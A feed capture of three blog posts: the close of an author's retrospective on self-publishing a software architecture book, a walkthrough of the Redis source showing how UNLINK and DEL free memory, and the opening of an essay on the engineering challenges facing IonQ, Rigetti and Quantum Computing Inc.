  • Creative Freedom. Working with a traditional publisher involves extensive back-and-forth about content, writing style, and book structure. This makes sense—they have a reputation to maintain. For me, the ability to express myself naturally was paramount. I wanted to use simple language, share practical examples, and follow my specific structure. This was the deciding factor in choosing my path.

  • Copy Editing. Traditional publishers include professional copy editing services. They will assign someone to review your manuscript for grammar, sentence structure, and phrasing. With self-publishing, you need to hire them independently.

  • Beta Readers and Reviewers. Self-publishing means finding your own beta readers and reviewers. Surprisingly, this wasn't as difficult as I expected—I put out calls on social media, and several colleagues volunteered (some even approached me directly). Traditional publishers typically have established networks of reviewers.

  • Marketing. While I can't speak comprehensively about traditional publishers' marketing support, they do offer built-in reach and reputation—almost everyone in tech knows names like O'Reilly or Manning. With self-publishing, you are responsible for all marketing efforts.

Having weighed all these factors, I decided to self-publish my book. The main challenge was finding the right platform that could help with reach, especially since I didn't have a large community behind me. After exploring my options, I settled on Leanpub. Their royalty structure was refreshingly straightforward: they take 20% of each sale (while taking care of things like collecting VAT), while 80% goes directly to the author. The platform's credibility was reinforced by the fact that many respected authors in the software architecture space—like Gregor Hohpe, Alberto Brandolini, and Simon Brown—had published their books there.

Before diving into writing, I did my homework. I studied other authors' sales figures, read countless posts about maintaining writing consistency, and consulted colleagues who had published their own books. Based on this research, I set clear goals:

  • Sell 5,000 copies in the first year

  • Start with an ebook, refine it based on early reader feedback, then release the physical version

  • Write at least 20 pages daily, aiming for around 400 pages total

Was I being naive with these expectations? Let's explore what actually happened.

I started writing on March 22, 2024, just one day after the poll results came in. The first step was creating a comprehensive plan using a Miro board, mapping out topics and structure. While the overall plan proved accurate over time, some parts evolved (sadly, I no longer have that original Miro board). I spent about a week developing this initial outline, sharing it with my mastermind group (Radek Maziarka, Kamil Bączek, and Krzysztof Owsiany) and the “Order of Devs” Discord for feedback. Their input was invaluable and helped shape the final structure before I wrote my first word.

Initially, I tried maintaining a rigid schedule of writing eight hours daily. While I managed to keep this pace for 2-3 weeks, eventually I hit a wall. Creative work for such extended periods proved unsustainable, so I adapted my approach.

My new routine was simple: wake up, have coffee, and start writing. Some days were incredibly productive—I could write for 13-14 hours (my record was 16 hours), producing up to 20 pages. Other days, I might only manage 3-5 hours and 5 pages. I set just one rule: write at least 5 pages daily. In the entire writing period, I only fell short of this goal 3-4 times.

This approach worked wonderfully. The key lesson? Listen to yourself. When you can't write, don't force it. Find your own rhythm. Also, don't measure yourself against other authors.

If you don’t know it yet, my book is divided into 8 key steps and 2 extras:

  • Step 1: Understand Software Architecture

  • Step 2: Discover Your Business Domain

  • Step 3: Recognize the Environment Around You

  • Step 4: Choose Deployment Strategy

  • Step 5: Define Release Strategy

  • Step 6: Focus On Testing

  • Step 7: Evolve Your Architecture

  • Step 8: Don't Forget About Security

  • Extra 1: Other Engineering Practices

  • Extra 2: Architecture Exercises

My initial writing strategy was strictly sequential—starting with Step 1 and methodically moving forward. However, like my daily writing schedule, this linear approach ultimately proved too rigid. I discovered a more effective method: focusing first on topics I was most passionate about, such as discovering business domains, release strategies, architectural evolution, and security. I left the topics that interested me less, like deployment strategies and testing, for later. This approach clicked, and it served me well through the 5 months of writing.

Once I completed a substantial portion of each section, I sent it to my beta readers: Kamil Kiełbasa and José Roberto Araújo. I am incredibly grateful for their exceptional feedback. Their input helped me refine my ideas, fill in gaps, and most importantly, validate that my content was valuable and well-presented. I would then incorporate their suggestions and send the revised sections back for another review.

On March 28, I ordered my book cover through Fiverr. I received it two days later:

Throughout the process, I also actively engaged with both my LinkedIn community and colleagues, seeking input on technical aspects of the book. Here are some examples:

In April, Gergely Orosz gave me invaluable advice: regularly share draft excerpts from my book. This suggestion proved brilliant—it allowed me to publicly validate my content as I wrote. I continued this practice throughout the writing process, gaining feedback and building interest along the way.

In May, I hit my first major roadblock. I noticed my creativity had dried up—I was going through the motions of writing, but the quality was suffering. Rather than push through, I made a crucial decision: take a complete week off from writing. This proved to be exactly what I needed. When I returned to the keyboard, my mind was brimming with fresh ideas, and I easily found my rhythm again.

By the end of May, I began searching for a copy editor to elevate my book to professional standards. I had one key requirement: they needed to be from the United States, since I was primarily targeting US readers (below are my all-time stats from my Substack) and wanted American English.

I found my editor through Fiverr, and on June 10, 2024, I sent them the first 200 pages of my manuscript.

While waiting for the edited pages, I continued writing the next 200 pages. When the second crisis hit in June, I knew exactly what to do. I applied the same strategy—a week-long break—and once again, it worked perfectly.

I received the edited first half back on July 9, and spent several days reviewing the changes. On July 14, I sent the second batch of approximately 200 pages to my editor. While waiting for the second half, I made another significant decision: changing the book's title. I was receiving consistent feedback that “Ode To Software Architecture” didn't clearly convey the book's content. I created another poll to gather input, and that is how “Ode To Software Architecture” transformed into “Master Software Architecture.”

The last step before publication was securing reviewers who could provide rigorous, constructive feedback. Two experienced reviewers stepped forward: Jose Luis Latorre and Martin Dilger (author of the Leanpub bestseller “Understanding Eventsourcing”). I also specifically sought out Urs Enzler, knowing his reputation for thorough, unvarnished feedback would be invaluable.

Thanks to detailed critiques, I was able to make significant improvements to the book.

Throughout the writing process, I also gathered pricing feedback from multiple sources: social media interactions, direct inquiries, and Leanpub's data collection.

Based on this research, I initially structured the pricing with two tiers:

  • Minimum price: $20

  • Recommended price: $26

This flexible pricing model, unique to Leanpub, allows readers to pay the minimum price or choose to pay more if they find additional value in the book—there is no upper limit. After observing the market response, I later simplified the pricing to a flat $19, occasionally offering promotional discounts.

Finally, on August 26, the book was published.

Rather than following the traditional approach of having one or two forewords, I invited five experts to share their perspectives on the key drivers of successful software architecture:

  • Vladik Khononov. Author of “Learning Domain-Driven Design” and “Balancing Coupling in Software Design.” While we had known each other online, we finally met in person at Infoshare 2024 where we were both speakers.

  • Oskar Dudycz. The “Leonardo da Vinci of Event Sourcing,” whom I have had the pleasure of knowing personally for several years.

  • Milan Jovanović. A distinguished software architect and one of the two most prominent content creators in the C# and .NET ecosystem.

  • Milan Milanović. Chief Technology Officer and well-known content creator.

  • Denis Čahuk. Known for his pragmatic and smart approach to software development, Denis was previously a guest on my YouTube channel.

I am really happy and grateful to have them contribute to my book. Their insights add great value for readers, and honestly, seeing their names in my book still makes me smile.

After all the planning, writing, and editing, let's look at the results:

Readership

  • Total readers: 810

    • Ebook copies: 728 (+11 refunds = 1.5%)

    • Physical copies: 82

Financial Results

  • Leanpub royalties to date: $11,138.88

  • Amazon KDP royalties: pending

Pricing Insights

During the period of the two-tier pricing model, the purchasing patterns were revealing:

  • 65% of readers chose the minimum price

  • 35% opted to pay above minimum

    • Most paid between $21-26

    • About 10 readers chose to pay even more

Time Investment

  • Total hours: approximately 850

    • Pre-launch work: 753 hours

    • Post-launch activities: ~97 hours

Costs

  • Copy editor: ~$1,000 (usually it costs between $1,000 and $2,000)

  • Leanpub Pro Plan: $12.99/month

  • Grammarly: $90/4 months (1x quarterly + 1x monthly plan)

  • Deepl Pro: ~$10/month

  • Facebook & Google Ads: $100

Reader Response

  • Goodreads Rating: 4.83

Just days after publication, I received an incredible opportunity—an invitation from GOTO Book Club, probably the biggest tech book club in the world, to discuss my book in an interview. With their YouTube channel reaching 1 million subscribers, this was exactly the kind of exposure I was hoping for. The interview took place on September 6, just a week and a half after the book's release.

What made this even more special was that I could choose my interviewer. I invited Artur Skowroński, and we had a fantastic conversation. You can watch the recording here:

Looking back, do I feel happy about publishing my first book? It is complicated. My initial goal was ambitious—5,000 sales in the first year. That turned out to be naive, but I am still on track to reach 1,000 sales, which I later learned is actually quite an achievement for a first-time self-published technical book.

The journey taught me invaluable lessons: how to write clear, accessible content, how to structure complex knowledge, and it significantly improved my written English. My beta readers and reviewers opened my eyes to new concepts I hadn't considered. And there is no better feeling than hearing someone say it is the best software architecture book they have read.

But I have to be honest—the writing process was exhausting. The creative aspect is a double-edged sword. It is incredibly engaging and interesting, but it drains your energy over the long run. At this point, I can't even think about writing another book.

Still, there is something incredibly rewarding about seeing a years-old dream become reality.

So, is writing a book worth it? Absolutely. Would I write another big book right now? No way—I am completely drained.

Good luck, and fingers crossed for your own writing journey!

Discussion about this post

]]>
https://newsletter.fractionalarchitect.io/p/45-the-raw-truth-about-self-publishing hacker-news-small-sites-42754808 Sun, 19 Jan 2025 07:45:00 GMT
<![CDATA[Show HN: Next.js App with PocketBase Integration]]> thread link) | @lavren1974
January 18, 2025 | https://pb-next.shadowchess.org/en | archive.org

Unable to extract article]]>
https://pb-next.shadowchess.org/en hacker-news-small-sites-42754430 Sun, 19 Jan 2025 06:44:58 GMT
<![CDATA[Unlink vs. DEL – A deep dive into how it works internally in Redis]]> thread link) | @pankajtanwar
January 18, 2025 | https://www.pankajtanwar.in/blog/unlink-vs-del-a-deep-dive-into-how-it-works-internally-in-redis | archive.org

A couple of days back, I found myself debating the differences between Redis' UNLINK and DEL commands with my friend Sarthak in a social media comment section. An interesting take; I come across that the majority of the people seemed to believe is "DEL is a blocking command. while UNLINK is non-blocking - so UNLINK is better". I don't fully agree with this characterisation.

It's somewhat true - but it's not the full story. As an engineer, it's my moral duty to unnecessarily dive into the rabbit hole and dig into the Redis codebase to see the actual implementation. Let's see what's actually happening under the hood.

TLDR;

DEL vs UNLINK - the only difference is the way they free the value (freeing the key is straightforward). Respectfully, It will be completely wrong to just say one is blocking and another is not.

UNLINK is a smart command: it's not always non-blocking/async. It calculates the deallocation cost of an object, and if it is very small (cost of freeing < 64), it will just do what DEL is supposed to do and free the object ASAP. Otherwise, the object is sent to the background queue for processing.

For my internet friends who aren't familiar with Redis - it's a super popular, distributed in-memory key-value database. As the name suggests, both UNLINK and DEL commands do the same thing - they remove the keys from Redis.

A quick Google search tells you why UNLINK was introduced in Redis 4.0, if we already had DEL. UNLINK is very similar to DEL but it performs the memory reclaiming in a different thread - so it's not blocking other operations, while DEL is. In simple terms, UNLINK just unlinks the key from the keyspace, and actual key removal happens later, asynchronously - so it's faster.

Fun fact - In redis 6.0, a new configuration lazyfree-lazy-user-del was introduced - so if this is set to true, your DEL command runs like UNLINK.

But how it's implemented internally?

DEL command - source code analysis

It doesn't take a genius to find the very famous db.c in redis codebase, and head over to delCommand method - thanks to Github symbol search.

void delCommand(client *c) {

delGenericCommand(c,server.lazyfree_lazy_user_del);

}

Not surprised - It just proxies the delGenericCommand method with the lazy flag which is sent as the value of lazyfree_lazy_user_del redis server config. I'm sure for unlinkCommand, they are gonna just set it to always true - neat.

/* This command implements DEL and UNLINK. */

void delGenericCommand(client *c, int lazy) {

int numdel = 0, j;

for (j = 1; j < c->argc; j++) {

// cleaning up already expired data

if (expireIfNeeded(c->db,c->argv[j],0) == KEY_DELETED)

continue;

// ternary operator to call method based on the lazy flag

int deleted = lazy ? dbAsyncDelete(c->db,c->argv[j]) :

dbSyncDelete(c->db,c->argv[j]);

//

if (deleted) {

signalModifiedKey(c,c->db,c->argv[j]);

notifyKeyspaceEvent(NOTIFY_GENERIC,

"del",c->argv[j],c->db->id);

server.dirty++;

numdel++;

}

}

addReplyLongLong(c,numdel);

}

There is too much to go through - but this beautiful ternary operator got my attention - the lazy flag decides which method to call. Now, we will go deeper into dbSyncDelete and come back to dbAsyncDelete in UNLINK code analysis.

Hold on - Redis using j as variable name? Where are all those clean code evangelists lecturing me about meaningful variable names? never mind.

Let's get into dbSyncDelete. Let me guess - it shouldn't be hard deleting a key from a hash table. Ah, not really. My immature high-level language lover mind took garbage collectors for granted. For a language like C, it's very very interesting and important to pay attention to how memory gets released.

/* Delete a key, value and associated expiration entry if any, from the DB */

int dbSyncDelete(redisDb *db, robj *key) {

return dbGenericDelete(db, key, 0, DB_FLAG_KEY_DELETED);

}

Ah, it's a proxy to dbGenericDelete with async argument set as 0. Cool. Let's go to dbGenericDelete .

/* Helper for sync and async delete. */

int dbGenericDelete(redisDb *db, robj *key, int async, int flags) {

dictEntry **plink;

int table;

int slot = getKeySlot(key->ptr);

dictEntry *de = kvstoreDictTwoPhaseUnlinkFind(db->keys, slot, key->ptr, &plink, &table);

if (de) {

robj *val = dictGetVal(de);

/* remove key from histogram */

updateKeysizesHist(db, slot, val->type, getObjectLength(val), 0);

/* If hash object with expiry on fields, remove it from HFE DS of DB */

if (val->type == OBJ_HASH)

hashTypeRemoveFromExpires(&db->hexpires, val);

/* RM_StringDMA may call dbUnshareStringValue which may free val, so we

* need to incr to retain val */

incrRefCount(val);

/* Tells the module that the key has been unlinked from the database. */

moduleNotifyKeyUnlink(key,val,db->id,flags);

/* We want to try to unblock any module clients or clients using a blocking XREADGROUP */

signalDeletedKeyAsReady(db,key,val->type);

/* We should call decr before freeObjAsync. If not, the refcount may be

* greater than 1, so freeObjAsync doesn't work */

decrRefCount(val);

if (async) {

/* Because of dbUnshareStringValue, the val in de may change. */

freeObjAsync(key, dictGetVal(de), db->id);

kvstoreDictSetVal(db->keys, slot, de, NULL);

}

/* Deleting an entry from the expires dict will not free the sds of

* the key, because it is shared with the main dictionary. */

kvstoreDictDelete(db->expires, slot, key->ptr);

kvstoreDictTwoPhaseUnlinkFree(db->keys, slot, de, plink, table);

return 1;

} else {

return 0;

}

}

Ahh I too found it overwhelming !! But I did find a couple of things really interesting here.

1. Key slot calculation

The method int slot = getKeySlot(key->ptr); calculates the slot for the given key. Redis uses a hash slot mechanism to distribute keys across nodes in a cluster. Shamelessly plugging my tweet that explains the mechanism in a little detail.

2. Two-phase linking

Redis moved away from the traditional way of removing the key long back. kvstoreDictTwoPhaseUnlinkFind method finds the key in the main dictionary using the slot number and the key. This is the first phase - it does not delete the key instead it sets up plink and table. In the second phase - key will be safely removed. kvstoreDictTwoPhaseUnlinkFree is what I'm referring to here. This immediately releases the memory.

3. Asynchronous deletion

The if (async) code block does a bunch of really nice things, like scheduling the memory to be freed up asynchronously. And also setting up the value of entry in main dict to NULL to mark it for deletion. We will dive into it in the UNLINK section.

4. Delete expiration data

Interesting thing to note is redis maintains 2 dictionary - the main key dictionary and expiration dictionary. So, as a key is deleted - it needs to be removed from the expiration dict as well - manually. This is what - kvstoreDictDelete method does.

Well - so what have you learnt here? The normal DEL command implementation is quite straight forward. Synchronously remove the key and release the memory using the two-phase linking mechanism. This is done in both the main key dictionary and expiration dictionary. And if there is an inner reference - recursive deletion comes to the rescue.

As we already covered the core logic and the code is generic with the async flag being passed down, lets' dive straight into how async delete is actually happening.

if (async) {

/* Because of dbUnshareStringValue, the val in de may change. */

freeObjAsync(key, dictGetVal(de), db->id);

kvstoreDictSetVal(db->keys, slot, de, NULL);

}

Wohoo, jump to freeObjAsync.

void freeObjAsync(robj *key, robj *obj, int dbid) {

size_t free_effort = lazyfreeGetFreeEffort(key,obj,dbid);

/* Note that if the object is shared, to reclaim it now it is not

* possible. This rarely happens, however sometimes the implementation

* of parts of the Redis core may call incrRefCount() to protect

* objects, and then call dbDelete().

* LAZYFREE_THRESHOLD = 64

* */

if (free_effort > LAZYFREE_THRESHOLD && obj->refcount == 1) {

atomicIncr(lazyfree_objects,1);

bioCreateLazyFreeJob(lazyfreeFreeObject,1,obj);

} else {

decrRefCount(obj);

}

}

Damn, that's smart - it calculates the cost of deleting the object. Once it gets how expensive it is (free_effort indicates efforts in terms of CPU, time and memory usage may be?) - it decides to either free the memory immediately or delay it for later once it has enough CPU cycles to do it.

LAZYFREE_THRESHOLD is set as 64. And the check obj->refcount == 1 ensures that object is no-longer referenced anywhere else otherwise it might get stuck in removing it's references recursively.

atomicIncr is just an atomic increment counter operation on global variable lazyfree_objects that has the number of objects currently being freezed lazily. It helps redis in scheduling the operations in the background.

bioCreateLazyFreeJob is responsible for creating a job in background IO (BIO) to lazily free the object. lazyfreeFreeObject is a callback function defined on line 13 of this file.

How effort for deleting the key is calculated?

Redis' codebase says - the return value is not always the actual number of allocations the object is composed of, but a number proportional to it.

  • for strings, it is always 1 as it does not require multiple allocations to free - so constant effort
  • for list objects - it is the number of elements in the quicklist.
  • for set objects - it is the number of elements in the hash table as set is backed by hashtable.
  • for sorted set objects - it is the length of skiplist
  • for hash objects - it is the number of elements in the hash table
  • for stream objects - it is the number of RAX nodes + consumer groups + entries in pending entry list (PEL)
  • for module - the process of calculating the value in this case seems a bit complicated for me to understand. It uses moduleGetFreeEffort.
  • default, it's always 1.

The magic number LAZYFREE_THRESHOLD = 64

Although, there is no clear explanation of LAZYFREE_THRESHOLD as 64, so it seems a bit arbitrary. A couple of my internet stranger friends and chatGPT says this number was chosen by redis developers post a massive benchmarking. The consideration was trade-off such as performance vs blocking, memory management and avoiding overhead.

Ok, I trust that.

Now that I’ve wrapped up my ramblings, I invite your comments on it. If you find any technical inaccuracies, let me know, please. I'm active on X (twitter) as @the2ndfloorguy and if you are interested in what an unfunny & strange programmer will do next, see you there!

References, that I've used.

]]>
https://www.pankajtanwar.in/blog/unlink-vs-del-a-deep-dive-into-how-it-works-internally-in-redis hacker-news-small-sites-42754345 Sun, 19 Jan 2025 06:34:32 GMT
<![CDATA[Why is it so hard to build a quantum computer?]]> thread link) | @paulpauper
January 18, 2025 | https://moreisdifferent.blog/p/why-is-it-so-hard-to-build-a-quantum | archive.org

(Part 1: Quantum computing: hype vs. reality)

There are dozens of quantum computing startups,1 but only three that are publicly traded - IonQ, Rigetti Computing, and Quantum Computing Inc. In this post, I analyze the engineering challenges each company faces. These challenges stem from well-understood physics. Four approaches to building a quantum computer are currently dominant,2 and it seems likely one will ultimately win out. Using physics and engineering knowledge we may be able to gain some insight into the commercial viability of each of these approaches.

However, a full analysis of these companies for investment purposes would require looking at their financials, marketing/brand success, current contracts, and the quality of their human capital. I stick to the physics here because it is what I find most interesting and am most knowledgeable about. Nothing in this post is intended as investment advice.

Quantum computers leverage the principles of quantum mechanics to perform computations using qubits, the quantum equivalent of classical bits. Unlike classical bits, which can be either 0 or 1, qubits can exist in a quantum superposition of states.

However, qubits are highly sensitive to their environment, making them prone to decoherence. Decoherence occurs when qubits interact with their environment, altering the qubit's quantum state in a stochastic manner.

Qubits can’t do much on their own. They need to be entangled. Entanglement is a phenomenon where qubits become interconnected, such that the state of one qubit is directly related to the state of another, even over long distances. When entangled, qubits can form gates, similar to the AND, OR, and NOR gates found in classical computers. Some gates are unique to quantum computers, for instance the controlled not (CNOT) gate. A key metric is gate fidelity, which should be above 99.9%. Since qubits are a scarce resource, qubits often need to be re-used during the course of a computation. So one qubit might be used as part of an AND gate and then later used to implement an OR gate. This requires manipulating the qubits with external inputs.

So, the core challenge of building a quantum computer revolves around isolating the qubits from the environment while still being able to manipulate those qubits to 1. load initial data into some qubits, 2. apply initial gates, 3. re-use qubits during the computation by applying different gates as needed, and 4. read the answer out.

File:IonQ corp logo.svg - Wikimedia Commons

I think IonQ may be the most promising among the three publicly traded quantum computing startups. The company was formed out of Chris Monroe’s group at the University of Maryland’s Joint Quantum Institute in 2015. They recently announced support from Maryland’s state government to build a “quantum intelligence campus” near the University of Maryland (UMD). They hope to raise one billion to make this campus happen. It’s not entirely clear where that money will come from.

IonQ's quantum computer consists of a linear chain of positively charged ions, held in place by electric and magnetic fields. Historically, these were ytterbium ions (atomic #70), but around 2023 they transitioned to lighter barium ions (atomic #56).

Let’s look at how many ions they have managed to trap as a function of time:

2016: 5
2017: 5-10
2018: 10-11 (?)
2019: 13-20
2020: 32
2021: 32
2022: 32
2023: 32-35 (IonQ Aria)
2024: 40 (IonQ Forte)

Their next target is 64-65 ions, in their Tempo system. However, it’s doubtful the number of ions can keep increasing like this for much longer — we’ll get to why a bit later. First, I want to explain that the number of ions is not the same as the number of usable qubits in each system. Some qubits are needed for error correction, which yields a smaller number of algorithmic qubits (AQs). Additionally, in IonQ’s Forte system, one of the ions is used for optical alignment purposes rather than computation. One has to read IonQ’s marketing materials closely. IonQ Forte, which has 40 ions, was said to have a “capacity of up to 35 qubits.” This doesn’t necessarily mean that they have actually realized 35 AQs yet; it’s just a theoretical maximum which may or may not have been realized. The actual number of AQs depends on system noise. IonQ’s 32-35 ion Aria system achieved 20 AQs in 2022. Currently they can get 25 AQs with their Aria system, and this is what they make available in their cloud service. Some of IonQ’s current marketing materials say that Forte, with 40 ions, yields 36 AQs, one higher than the capacity they stated in January 2024. According to Quantinuum, another privately held company that builds trapped ion quantum computers, the number of AQs IonQ had achieved with Forte in March 2024 was only around nine, despite them advertising it has having 32 at the time. Another more recent article I saw suggested that Forte only has twelve AQs. If the number of AQs achieved so far with Forte’s longer ion chain is currently less than the number achieved with Aria’s smaller chain, that is a red flag in my book (if you know more about this, comment below).

As you may have guessed by this point, creating these traps is not easy. To be more precise, trapping the ions is pretty easy, but getting them to entangle and do quantum computation is not. Lasers need to be used to cool each ion to millikelvin temperatures. Then, precisely manipulated EM fields need to be used to move the ions close to each other and entangle them. Laser pulses have to be aimed at each ion to manipulate their energy levels. The magnetic field in the trap has to be kept extremely uniform, as any slight deviation can ruin the quantum state. Vibrational states of the ion chain are utilized in quantum computation, so naturally these systems are very sensitive to vibration. I have heard that a truck rumbling by on the street can disturb these systems. Setting up and calibrating a single ion trap chip can take six months. Still, it has been done, and since only the ions need to be kept cold, no large-scale cooling apparatus is needed (the rest of the chip can operate at room temperature). As we mentioned, noise is a problem here. Some ion trap devices that have been built are referred to as "noisy intermediate-scale quantum" (NISQ) devices. The number of algorithms that can be run on NISQ devices is greatly reduced. Still, the noise issues here arguably are not as great as other approaches. Ion trap quantum computers can exhibit extremely long coherence times, reaching as high as seconds or minutes.

The downside of ion traps, however, is slow gate operation. Roughly speaking, the "clockrate" of these quantum computers is greatly reduced, because some gate operations require that ions be physically moved around. On a hypothetical 20-million-qubit superconducting quantum computer, it was estimated in 2019 that factoring a 2048-bit integer to break RSA encryption would take about eight hours. On an ion trap quantum computer, by contrast, this would be 1,000 times slower — it would take 8,000 hours, or 333 days. Currently, superconducting approaches remain competitive with ion traps, so this may concern investors.

All quantum computing approaches have serious issues when it comes to scaling to the millions of qubits that are needed for any practical application. For decades, physicists have debated the scaling prospects of ion traps vs. superconducting qubits vs. more exotic approaches. When I was in the field in 2012, physicists were much more pessimistic about the scaling prospects of ion traps. I’m not really aware of the current state of the discourse, but the scaling challenges of ion traps appear to remain very substantial.

As the chain of ions gets longer, it becomes harder and harder to control. The number of quantum vibrational modes, called phonons, increases with the number of ions. As more ions are added, limiting unwanted phonons becomes harder, because the lowest energy required needed to excite a mode decreases. This is very fundamental to the physics involved, and there is no way to get around it. Recall that the longest chain IonQ has created has 40 ions. IonQ’s competitor, Quantinuum, which is ahead of IonQ in many respects, has a device with 56 qubits, which requires at least 56 ions. Fortunately, the number of control electrodes needed grows only linearly with the number of ions. There is no upper bound for how long of a chain can be created, but overall the engineering challenges grow non-linearly as the size of the chain grows.

Since these ions are positively charged, they want to fly apart. As more and more ions are added onto the ends of a 1D chain, they have to be spaced further and further apart to hold them in place. If you look at pictures in Rigetti’s marketing materials (like the picture above), you’ll see that the ions near the center are spaced closer together, while the ions near the edge of the chain have to be spaced further apart. Roughly speaking, the required length of an ion chain scales as N^(4/3). Researchers are also looking at if it is possible to trap the ions in a 2D grid, rather than a 1D chain. The area required for a 2D grid scales as N^(2/3), rather than N^(1/2). It should be clarified here that 2D grids remain a complete fantasy — they have not been demonstrated yet.

According to both Claude and GPT-4o, it is unlikely we will ever have 1D ion traps with more than 100 ions, or 2D grids with more than 10,000. To get around these limitations, IonQ has proposed that two qubits living in separate traps may be entangled via a quantum photonic interconnect. As of October 2024, this has not yet been demonstrated. IonQ’s roadmap says they will achieve this in 2025. As to how feasible this is, the details here are quite complex, and I don’t have time to fully dig into this for this cursory review, so I can’t really say. However, my intuition tells me this will be extremely challenging for them. As I discuss later, quantum-grade photonic devices haven’t been miniaturized yet. Furthermore, my guess is that linking one qubit from one chip to another will not be enough - you’ll have to link multiple qubits, or even the majority of qubits. However, a robust link is achieved, that could make ion traps a clear front-runner vs. other approaches.

File:Rigetti Computing logo.svg - Wikimedia Commons

Rigetti computing was formed in 2013 by IBM physicist Chad Rigetti and is headquartered in sunny Berkeley, California. Like IBM, Rigetti is pursuing a superconducting approach. Superconducting qubits come in many forms, but researchers have settled on “transmon qubits” as the most promising approach, and that is what both IBM and Rigetti use now. In superconductors, electrons bunch up into Cooper pairs and this enables them to travel through a material’s crystal lattice without encountering any resistance. The movement of electrons (current flow) through a superconductor can be described by Schrödinger’s equation. So, a superconductor is characterized by a well-defined macroscopic wavefunction, something which is rare in physics and requires very cold temperatures.

If two superconductors are separated by a thin insulating barrier, the Cooper pairs can tunnel through the barrier, even though classically they would not have enough energy to do so. Now, the phase of the macroscopic wavefunctions in the two different superconductors is going to be different. As a result, the current of Cooper pairs crossing the barrier oscillates as a function of time, even if the electric potential applied to the system is static and not changing. This phenomenon is known as the Josephson effect and the system as a whole is called a Josephson junction. Remarkably, the oscillating current created by the Josephson effect does not dissipate energy. Now, if a “shunting” capacitor is wired to either side of the junction, you end up with a quantum mechanical circuit which is known as a “transmission-line shunted plasma oscillation” or transmon. Since it is quantum mechanical, the oscillations in this circuit have discrete energy levels. If one applies microwave frequency AC pulses, the energy of the transmon’s oscillation can be increased. Due to the nonlinear properties of the Josephson effect, the transmon’s energy levels are unevenly spaced, which is a very useful property for control purposes. The uneven spacing of the transmon’s energy levels means it is hard to accidentally excite the transmon to a much higher energy level than the target energy level. In quantum computing, each of these transmon circuits constitutes one qubit. Transmon qubits are entangled using either capacitive coupling, microwave resonators, or a variety of other approaches.

Two different superconducting materials are used in these quantum computers — the qubits are made with aluminum wires, and the superconducting wiring connecting them is made with niobium. Aluminum needs to be cooled to 1.2 Kelvin to become superconducting, while niobium requires a temperature of 9.2 Kelvin. However, to reduce thermal energy below the transmon’s level spacing and to avoid rapid decoherence, these circuits must be cooled much colder, to 0.02 Kelvin (2 milliKelvin). This requirement of ultra-cold temperatures, which is strictly required by the physics involved, is one of the main challenges for this approach. Large and complex cooling systems known as dilution refrigerators are required. Oxford Instruments’ Nanoscience division manufactures these refrigerators for Rigetti.

Similarly to the ion traps we discussed in the previous section, superconducting quantum systems are very delicate and are sensitive to vibrations and stray EM fields. (Both can cause problems, but the main issue here is stray EM fields, not vibration.) So, the dilution refrigerator must be suspended from a cage and isolated from the external environment:

Rigetti’s latest “Ankaa” system has 84 qubits and has gate times between 56 and 72 nanoseconds, with gate fidelities between 99.0% and 99.5%. Rigetti’s gates are significantly faster than IBM’s, but they have lower fidelity. IBM’s systems also have more qubits. This graphic compiled in March 2023 by Olivier Ezratty summarizes how things stood back then. At that time, both IBM’s and Google’s systems were clearly superior. According to commentaries online, this is still the case.

Quantum Computing Inc. Wins NASA Contract to Address Phase Unwrapping with  Dirac-3 Photonic Solver - Quantum Computing Report

Quantum Computing Inc. has a rather amusing history. For brevity, I’ll refer to them by their stock ticker, QUBT. QUBT was initially incorporated in Nevada on July 25, 2001, as Ticketcart, Inc., a company focusing on online ink-jet cartridge sales. In 2007, they acquired Innovative Beverage Group, Inc., and subsequently they changed their name to Innovative Beverage Group Holdings, Inc (IBGH). This company went public in 2008. IBGH ceased operations and went into receivership in 2017 - 2018. In February 2018 it became QUBT. This transformation involved the shell of a failed company being used to create a publicly traded quantum computing company without having to go through the traditional Initial Public Offering (IPO) procedures. This process looks very suspicious, but is actually not that unusual nowadays, and so is not a major cause for concern in itself. Before getting to the physics, there are a few points about this company which I feel I must mention, because they should raise alarm bells for any investor. Firstly, their recent NASA contract was only worth $26,000. Secondly, the company claims to have a “fabrication foundry” in Arizona for building “nonlinear optical devices based on periodically poled lithium niobate.” An investigation by Iceberg Research has cast a lot of doubts on legitimacy of this claim.

Anyway, QUBT has a completely different approach compared to the other two companies discussed so far. Their approach is based on the control and manipulation of photons, a field called photonics. The precise details on how their system works are murky, and the materials they have published are hard to understand, but I can talk in general terms about what they are trying to do.

Qubits can be realized with photons in a couple different ways. Recall that a qubit is a two state quantum-mechanical system. In a “polarization qubit,” a photon is put into a superposition of horizontal or vertical polarization. In a “photonic path qubit,” a photon is put into a superposition over two different paths. There are also some more esoteric approaches. It’s not clear which of these approaches QUBT is using. I asked GPT-4o for help on this question, and after searching the web it said that the precise nature of their qubits has not been disclosed.

Photonic quantum computers can run at room temperature. They may also suffer less from decoherence. Two photons flying through empty space can pass right through each other without interacting (except at extremely high energies). This sounds wonderful. However, difficulties are encountered when it comes to trying to control the state of these photons and entangle them together using optical devices. The interaction of the photons with optical devices (like crystals, glass, etc) can cause their quantum state to decohere.

In quantum mechanics, measurement is usually defined as a process which completely collapses a wavefunction, destroying any quantum superposition. So normally in quantum computation, measurement is only performed at the very end of the computation, to extract the result. However, it is possible to do weak measurements which only partially collapse a wavefunction or barely perturb it at all.

By doing repeated weak measurements, a wavefunction can be “frozen” and prevented from evolving in unwanted directions. This is called the quantum Zeno effect. QUBT claims to be using this effect to counter-balance decoherence. Because decoherence is usually a highly random process, I’m a little skeptical about this claim.

It’s worth mentioning in passing that, while weak measurement is an actual thing, it is poorly understood. I did some research on this topic as part of a class project in 2011. At that time, the subject was controversial, and some physicists I talked to argued that the concept itself was confused and/or that the purported phenomena were not real. It looks like the phenomena of weak measurement and the quantum Zeno effect are both more established and accepted now, but I think there is still ongoing controversy over how they should be understood.

Even if decoherence is brought under control in a photonic quantum computer, photons may be absorbed when moving through optical devices. Obviously this is not good. Random loss of photons in these quantum computers is practically unavoidable, but it can be dealt with. To do so you need an enormous overhead of error correcting qubits.

Finally, let’s discuss the scaling prospects for photonic quantum computers. Here’s what they look like currently:

photonic quantum computer RIKEN
This is a recent picture of a highly advanced photonic quantum computer at Japan’s RIKEN research institute. This entire setup probably only yields a few algorithmic qubits.

